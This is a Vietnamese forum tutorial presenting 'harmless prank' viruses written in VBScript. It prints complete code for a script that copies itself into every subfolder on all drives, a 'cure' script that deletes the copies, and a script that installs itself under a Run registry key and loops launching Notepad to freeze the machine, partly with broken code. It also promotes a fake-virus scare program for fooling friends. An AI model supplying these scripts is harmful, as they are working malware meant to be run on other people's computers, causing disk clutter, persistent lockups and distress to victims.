TUT tạo ra virus bá đạo nhưng không hại máy mới nhất 2018 by Trần Hà

Đầu tiên pine xin mạn phép viết một bài giới thiệu sơ về đoạn mã độc được một tác giả khác viết trên nền vsb và đã được edit lại ( mã lúc đầu là phá hỏng ổ cứng )
Tiếp theo là cho các bạn so sánh giữa mã độc và mã giải độc là như thế nào để các bạn so sánh giữ viết mã ra và giải mã cho nó đơn giản thế nào nhưng lại vô cùng ác độc hjhj
Bên dưới pine sẽ demo cho các bạn xem bằng hình anh mình tự sướng với con virut này và tự xữ nó lun

Yên tâm là ko seo đâu nhá :

Bước đầu thả virut

Bước 2 Giải độc

Đầu tiên để tạo virut giả trêu người khác

Bạn vào Start => Run => gõ "NOTEPAD" sau đó nhấn Enter rồi chép đoạn này vào:

HTML:

'pinetrees  !!! ^_^
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub

Rồi nhấn Ctrl + S => Save lại với tên là: Thuoc_Doc.vbs
nhớ đuôi phải là .VBS nha
chỉ cần chạy file này là "Tràn ngập Virus !"
Còn đây là file thuốc giải:

HTML:

'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub

cũng lưu lại như trên với tên : Thuoc_Giai.vbs
nhớ là vbs là đuôi chứ ko phải tên.

Tiếp theo
Bạn mở notepad lên chép đoạn mã sau vào:

On Error Resume Next
Set popo= Createobject("scripting.filesystemobject")
popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"
Set popo2= CreateObject("WScript.Shell")
popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n\cod e1","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"
Set treomay= CreateObject("WScript.Shell")
Do
treomay.run "notepad",false
loop
cái này sẽ làm máy bị treo
lưu lại với tên jì cũng đc nhưng với đuôi là ".vbs"
Ví Dụ: treomay.vbs
muốn sửa thì chỉ cần Restart là OK
Tiếp tục với phần mềm
Bạn muốn dọa thằng bạn ngốc của mình bằng virus ư ? nhưng virus ở đâu ra đây, lỡ chạy hư máy nó bắt đền thì sao đây ?
The Ultimate Virus là chương trình giả virus giúp bạn lừa được họ.
Đặc tính của nó là không hại máy tính mà chỉ đưa ra các cảnh báo giả để hù dọa mà thôi, không có lây lan đâu. Từ từ khám phá nhé.

...